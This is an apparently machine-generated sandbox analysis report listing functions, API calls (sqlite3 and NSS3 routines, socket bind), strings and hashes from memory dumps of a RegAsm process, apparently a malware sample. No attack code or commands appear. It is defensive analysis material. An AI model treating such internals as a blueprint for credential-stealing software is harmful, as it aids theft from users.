Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction ID: 3c4cb89ba01459054e3b3595e947631781f59a96386c3a2a773972b879479806
Opcode Fuzzy Hash: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction Fuzzy Hash: 62111C74200204BFDB00CFA4D884FA733AAAF89304F109549F9198B250DB39EC82DB65

Function 6C458540 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 782COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000011C,automatic index on %s(%s),?,00000001), ref: 6C458705

Strings

BINARY, xrefs: 6C458B02, 6C458DA2, 6C458E27, 6C458E60
automatic index on %s(%s), xrefs: 6C4586FB

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: BINARY$automatic index on %s(%s)
API String ID: 632333372-611788421
Opcode ID: 86483d5a9bd48b30f67fdc0ccb8fb39910c512241d8528e9f08db935fb5cd426
Instruction ID: 9801280d06b624dd3f20a77ea62701c7ecc9f71f8159256021f6dc407bdf8d72
Opcode Fuzzy Hash: 86483d5a9bd48b30f67fdc0ccb8fb39910c512241d8528e9f08db935fb5cd426
Instruction Fuzzy Hash: 4F629C75A183419FD705CF28C480F1AB7E1BF89348F548A5EE889AB751DB31EC56CB82

Function 6C4464D0 Relevance: 5.7, Strings: 4, Instructions: 724COMMON

Download Yara Rule

Strings

not authorized, xrefs: 6C446D47, 6C446D4C
authorizer malfunction, xrefs: 6C446E3E
WBAl, xrefs: 6C44655C
WBAl, xrefs: 6C44679E

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID:
String ID: WBAl$WBAl$authorizer malfunction$not authorized
API String ID: 0-1564463046
Opcode ID: 7aff9e12054fc8c253d7f469c28439f56f73fe7436160ce51ad3e597540d706b
Instruction ID: a8d60a737b9d5b59668f60ee9488cec149c321f9e60c7d0afa507ad11129db20
Opcode Fuzzy Hash: 7aff9e12054fc8c253d7f469c28439f56f73fe7436160ce51ad3e597540d706b
Instruction Fuzzy Hash: 32625970A04204CFEB14CF19C484EA9BBF2FF89318F2581ADD9159B766D736E956CB80

Function 6C404DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

pXl, xrefs: 6C404E1C, 6C404E81, 6C404FDE, 6C405047, 6C4050BB, 6C4051A3, 6C40526C
PXl, xrefs: 6C405019, 6C4050FA, 6C405157, 6C4051DE, 6C4051F2, 6C40520D, 6C405220, 6C4052A2, 6C4052B5
winUnlockReadLock, xrefs: 6C405125
0Xl, xrefs: 6C404EDE, 6C404F82

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID:
String ID: 0Xl$PXl$pXl$winUnlockReadLock
API String ID: 0-3226063409
Opcode ID: af054575a39848dd6bf195747020576d13d322c737637f3ae840f671339e2b7a
Instruction ID: f843182687a204203666e95003b2513f3c936c0f0dacbd241997615a7e5ab72f
Opcode Fuzzy Hash: af054575a39848dd6bf195747020576d13d322c737637f3ae840f671339e2b7a
Instruction Fuzzy Hash: 25E13F70A187408FDB04DF28D885A5ABBF0FF89314F12962DE89997351E770A985CF86

Function 00413720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0041E118,00000000,00000001,0041E108,00000000), ref: 00413758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 004137B0

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 634e478c758f94cb0cd26d84ba9f3abb63f0756ecf75599706a634363863d21a
Instruction ID: 95f6a265596bdc049295610fa53daf8ef9ce5e7415083cbf30a8e52d2e28a0c3
Opcode Fuzzy Hash: 634e478c758f94cb0cd26d84ba9f3abb63f0756ecf75599706a634363863d21a
Instruction Fuzzy Hash: A941F474A40A28AFDB24DF58CC94BDAB7B5BB48306F4041D9A608A72D0E771AEC5CF50

Function 6C49EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C49F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C49F0F9

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 809931b612ec586eea2ccb5530e3f81d630c9c8a1c5f9de83fbd285a8c14a958
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 8F91A371E012268BDB14CF68C891EAEBBF1FF85324F14462DE56697BC0D730A905CB91

Function 6C466410 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON

Download Yara Rule

APIs

bind.WSOCK32(?,?,?,?,6C466401,?,?,0000001C), ref: 6C466422
WSAGetLastError.WSOCK32(?,?,?,?,6C466401,?,?,0000001C), ref: 6C466432

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: ErrorLastbind
String ID:
API String ID: 2328862993-0
Opcode ID: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction ID: 53474552cbd46f56fafd4f5315e14a7378f9a4b0df1e0b9a00c1d19ba5cfafbe
Opcode Fuzzy Hash: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction Fuzzy Hash: 56E01D35551114EFDB01DF79DC04CAA37A59F48228790C510F529C7B71EA35DC558780

Function 6C4CED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C4CEE3D

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: a8788998a6fd76f563cbe1600050f283c24e53028c96ac3c35cd570e985233b8
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 7371E176F017018BD718CF19C8C1F6ABBF2AB88304F14862DD85A97BA1D734E901CB92

Function 0041CEEA Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001CEA8), ref: 0041CEEF

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction ID: f83a9dfad8d9090bd4b69b445eb29f9fdcf7b9edf99be21673d757649d1b517e
Opcode Fuzzy Hash: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction Fuzzy Hash: 3B9002753912104A471417755D496C52A905E9D6067624861B506C4054DB988044551A

Function 6C3F45B0 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dba782c237e47dcade78707f1cfaf295c64d9b64d904765340dce69ebc7e194b
Instruction ID: eba24d45c360dc17bf4344ec95bd1a3f33a4b22d5b5571b64b29fa461ce1e33e
Opcode Fuzzy Hash: dba782c237e47dcade78707f1cfaf295c64d9b64d904765340dce69ebc7e194b
Instruction Fuzzy Hash: A5D1D372B002168BCB0CCF58CA901AEB7F6FF98314719896ED455AB791D735DA03CB90

Function 6C48A430 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd2a9d889abcea0fbb3b0daaff642ed4196dc96e45fc4a5a1fd04e70db5868e9
Instruction ID: 2b145a4cb63bdcafe7cfe4d1b6500afbc7a18f17015bc143435164a38c1cc340
Opcode Fuzzy Hash: dd2a9d889abcea0fbb3b0daaff642ed4196dc96e45fc4a5a1fd04e70db5868e9
Instruction Fuzzy Hash: 4D819170A022058FDB18CF18D544FAABBE4FF48719F15816DE81A9B7D4DBB4D985CB80

Function 6C540C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cda95d6ea283ee4c9e137fe1ed44031aa8ab0ec70079be82106298fc116dd0f
Instruction ID: d25f0e901baf5ff052fb3f2ac6c73b6854e2bffe186b072f740d0dad83214ea4
Opcode Fuzzy Hash: 5cda95d6ea283ee4c9e137fe1ed44031aa8ab0ec70079be82106298fc116dd0f
Instruction Fuzzy Hash: 0C11BF75604345CFCB00DF28C88466AB7B1FF95368F24C46AD8198B701DB71E8068BA1

Function 6C4B44C0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef834e71f64afe7ef73dbed9d12dd865d02378395acb37849e7ebd6e05a263ca
Instruction ID: 87272840c453e640da4d90b357a5c92905d0bf3aa73f1287a8092f7734d9d93f
Opcode Fuzzy Hash: ef834e71f64afe7ef73dbed9d12dd865d02378395acb37849e7ebd6e05a263ca
Instruction Fuzzy Hash: 41110976E002199F8B00DF99D8819EFBBF9EF8C664B554419ED19E7300D230ED108BE0

Function 6C4B4440 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa21d40d1ad75b3d244172a26781edb6e50129b5387a9172588f9844266e83d1
Instruction ID: 56570e19121090de451996093681276ae4453c3748be6c10c3bd3222a3198875
Opcode Fuzzy Hash: fa21d40d1ad75b3d244172a26781edb6e50129b5387a9172588f9844266e83d1
Instruction Fuzzy Hash: 9311C975A002199F9B00DF59C9819EFBBF9EF4C254B16416AED19E7301E630ED118BE1

Function 6C540D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 66205555311cee1b0cfca9708c5c25835345e99bc65d725c80bf8e87d57c4cfc
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: C2E06D3A202054A7DF148E09C850AA97359DFD1719FB4C47ACC5A9BA01D633F8078B81

Function 00419750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C546E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3FCA30: EnterCriticalSection.KERNEL32(?,?,?,6C45F9C9,?,6C45F4DA,6C45F9C9,?,?,6C42369A), ref: 6C3FCA7A
Part of subcall function 6C3FCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C3FCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C40BE66), ref: 6C546E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C40BE66), ref: 6C546E98
sqlite3_snprintf.NSS3(?,00000000,6C5AAAF9,?,?,?,?,?,?,6C40BE66), ref: 6C546EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C40BE66), ref: 6C546ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C40BE66), ref: 6C546EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C40BE66), ref: 6C546F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C40BE66), ref: 6C546F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C40BE66), ref: 6C546F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C40BE66), ref: 6C546FA6
sqlite3_snprintf.NSS3(?,00000000,6C5AAAF9,00000000,?,?,?,?,?,?,?,6C40BE66), ref: 6C546FDB
